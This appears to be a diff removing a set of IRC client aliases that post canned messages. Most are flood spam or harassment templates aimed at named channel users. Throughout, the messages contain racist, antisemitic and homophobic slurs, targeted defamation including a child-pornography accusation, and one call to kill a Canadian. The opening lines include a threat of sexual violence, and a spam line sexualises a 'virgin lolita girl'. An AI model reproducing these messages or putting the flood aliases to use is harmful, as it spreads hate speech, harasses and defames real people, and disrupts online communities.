-  ultimate = "say $*: tell you what , i`m gona fuck ur sister at gunpoint u stupid fuken faggot just because i come here for fun and have a clear mind u think i`m really fucking stupid";
-  ultimate2 = "say $*: i`m fucking more educated than u or anyone in ur family you fucking homo try going out of ur fucking house and get in to a decent university for a change";
-  ultimate3 = "say $*: u are just a fuckn stupid arab like all the other 99% who have nothing better to do because they are too stupid to even pass high school so they flood ppl here at irc";
-  # }}}
-  # {{{|- crapflood
-  new = "say \0038,3 S\0039ince \0038,6 I\0039'm \0038,3 N\0039ew \0038,6 T\0039o \0038,3 L\0039ist \0038,6 I \0038,3 C\0039an't \0038,6 S\0039tart \0038,3 B\0039ut \0038,6 S\0039aying \0038,3 H\0039ello \0038,6 $* ";
-  panis = "say \0030,4 my panis do not up and i have a problem with my penny balls ";
-  nigita = "say \0031,8(: Virgin Lolita Girl Last Night go to BAR.\0030,12 Pizza man FUCKED girl to toilet.All of there \0032,4 blood.\0030,1See you Photo visit=>>\0030,12 http://pizzasex.nigx.ne";
-  damage = "say \002\0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ##";
-  oontz = "say \002\0034thEr \0035Iz \0037oNlY \00361 \0032ThInG \00312taHT \00311uNiTeZ \00310uS \0039aLL \00314rEgArDlEsS \0030oF \0032RaCe, \0033ReLiGOIn \0034oR \0035CoLeR\0039............. \00311aNd \00312tHaT \00313is \037\0034O0NTZ BEATZ!!!!!!!!!";
-  happyland = "say \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039- \00313hAPPY!11 LAND1211 \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039-";
-  stfy = "say \0034,8\002SHUT \037THE\037 FUCK \037YOU\037|";
-  shutup = "say \00315,10IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP";
-  thugz = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034THUGZ 4 LIFE WORD\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ ";
-  ircdongs = "say \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s";
-  urmamma = "say \0037HeY YO MaMMA In Da LUnCH SerVEs DA ChEEzzBuRGA";
-  hodapp = "say \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O";
-  hipvan = "say \002\037\0034,7hippie van at \0038,4 300 mph!111";
-  irchax = "say \002\037\003\0034,8\0038,4unauthorized irc entry111\0034,8";
-  # }}}
-  # {{{|- fuken ignored
-  pign = "say $*: I have put you on a permanent ignore, public and private. I have found you disturbing, rude and generally not worth talking to. According to the channels you hang on, it strengtens the effect of wanting to put you on ignore because of my lack of interest in you as a person. This message is not meant to be rude to you, just to inform you that i won't see anything of what you type from now on.";
-  pign2 = "say $*: Congratulations, prick, you've just made my ignore list. Was it worth it to you to make your \"witty\" comments and snide in-jokes to your irc pals about me if it meant you are now disappeared from my online experience? Have a nice life.";
-  pign3 = "say $* i hate u. i've never met a person who's as unfeeling and unkind as you. You might think that you are \"tough\" and a \"troll\" but the truth is that you're missing something important in life. If I wish, I could cut you out of my life at this very moment, after all all it takes is to \"/ignore +$*\". But unlike you, I am a human being who does believe that people can change - for good, in your case.";
-
-  gign1 = "say Before you listen to any more drivel by avrFreak, take a look at who you're dealing with: http://users.telenet.be/AVRfreak/diverse%20fotos/ik.jpg The abortion in the picture is avrFreak. I won't even get into discussion about his obsession with trains and ZigBee. This faggot has nothing better to do than sit on the internet and spew worthless garbage. He's the new flyback when it comes to being totally useless.;say Not to mention all he ever does is flood #electronics with senseless typing and talks about his \"projects\" he will never get done and other shit nobody cares about. Do the world a favor and type /ignore avrFreak";
-  gign2 = "say Before you listen to any more drivel by bedpan, take a look at who you're dealing with: http://www.dsherwood-guitartuition.co.uk/retard.jpg The abortion in the picture is bedpan. I won't even get into discussion about his child pornography. This faggot has nothing better to do than sit on the internet and spew worthless garbage. He's the new areems when it comes to being totally useless.;say Not to mention all he ever does is kiss timecop's ass and talk about shit no one cares. Do the world a favor and type /ignore bedpan";
-  gign3 = "say Before you listen to any more drivel by jax, take a look at who you're dealing with: http://pbx.mine.nu/fattie.jpg The abortion in the picture is jax. I won't even get into discussion about her obsession with rats. This fattie has nothing better to do than sit on CGI:IRC at work and spew worthless garbage. She's the new bedpan when it comes to being totally useless.;say Not to mention all she ever does is suck Jmax's cock and talk about shit no one cares. Do the world a favor and type /ignore jax and /ignore jax_xerox";
-  gign4 = "say Before you listen to any more drivel by ohsix, take a look at who you're dealing with: http://image.guardian.co.uk/sys-images/Guardian/Pix/gallery/2001/11/20/Beatles010.jpg The abortion in the picture is ohsix. I won't even get into discussion about his obsession with AMD and other dead hardware. This faggot has nothing better to do than sit on the internet and spew worthless garbage. He's the new qpt when it comes to being totally useless.;say Not to mention all he ever does is flood #GNAA with shit like \"C600???\" and talks about useless trash like Lunix and other shit nobody cares about. Do the world a favor and type /ignore ohsix";
-  gign5 = "say Before you listen to any more drivel by pitz_, take a look at who you're dealing with: http://www.in-forum.com/gfx/photos/stories/20060226pitz-john.jpg The abortion in the picture is pitz_. I won't even get into discussion about his obsession lol'g and dodge trucks. This faggot has nothing better to do than sit in #electronics all day and promote his sucky religion. He's the new avrFreak when it comes to being totally useless.;say Not to mention all he ever does is talk about SUKI(tm) and other shit no one cares. Do the world a favor and type /ignore pitz_";
-  gign6 = "say Before you listen to any more drivel by qpt, take a look at who you're dealing with: http://www.dsherwood-guitartuition.co.uk/retard.jpg The abortion in the picture is qpt. I won't even get into discussion about his obsession with Arizona highways. This faggot has nothing better to do than sit on the internet and spew worthless garbage. He's the new bedpan when it comes to being totally useless.;say Not to mention all he ever does is flood #GNAA with gang signs and talks about k5 and other shit nobody cares about. Do the world a favor and type /ignore qpt";
-  gign7 = "say Before you listen to any more drivel by supers, take a look at who you're dealing with: http://usuarios.lycos.es/sonicspage/supers.jpg . The abortion in the picture is 'supers'. I won't even get into discussion about him listing his 'nationality' as 'canadian' on his SHITTY animu site. This faggot has nothing better to do than get high, sit on the internet and spew generous amount of babble in pm to Jmax. He's the new DiKKy when it comes to being utterly us;say Not to mention all he ever does is smoke dope and abuse spambots in #gnaa. Do the world a favor and kill a canuck.";
-  gign8 = "say Before you listen to any more drivel by |gamester, take a look at who you're dealing with: http://tinyurl.com/3cn5gu. The vaginal puke in the picture is '|gamester'. I won't even get into discussion about him blogging miles of unintelligible and grammatically incorrect rants on 'PAKISTANI PRIDE'. This kike has nothing better to do than watch random, fan-subbed anime and blog to his best friend and favourite social reject ultimate-. He's the new ohsix when it comes to being utterly useless;say Not to mention all he ever does is teach NigBot how to speak mud languages nobody speaks. Do the world a favor and type /ignore |gamester";
-  # }}}
-  # {{{|- ripped from TAC0
-  mazel = "say \002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@";
-
-  diarrhea = "say \0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT";
-
-  fauxvag = "say \00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE\00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE\00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR";
-
-  bacardi = "say \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0038,4INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0038,4INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURK";
-
-  hitler = "say \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HIT";
-
-  binladen = "say \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT";
-
-  oswald = "say \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037??";
-
-  saddam = "say \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311,13 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311,13 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311";
-
-  clove = "say \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNE";
-
-  rip = "say \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF M";
-
-  shark = "say \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK";
-
-  beelego = "say \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8";
-
-  flewd = "say \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033W";
-
-  hotcold = "say ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003.";
-
-  penis = "say \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS ";
-
-  jewload = "say \0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS";
-
-  anus = "say \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,";
-
-  negro = "say \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFOR";
-
-  drunk = "say \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BE";
-
-  aids = "say \0039,8 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0038,9 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0039,8 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0038,9 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION.";
-
-  lips = "say \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MA";
-
-  concentrate = "say \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME";
-
-  mints = "say \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r";
-
-  justin = "say \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE ";
-
-  sunni = "say \0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3";
-
-  edible = "say \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3";
-
-  seminal = "say \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIR";
-
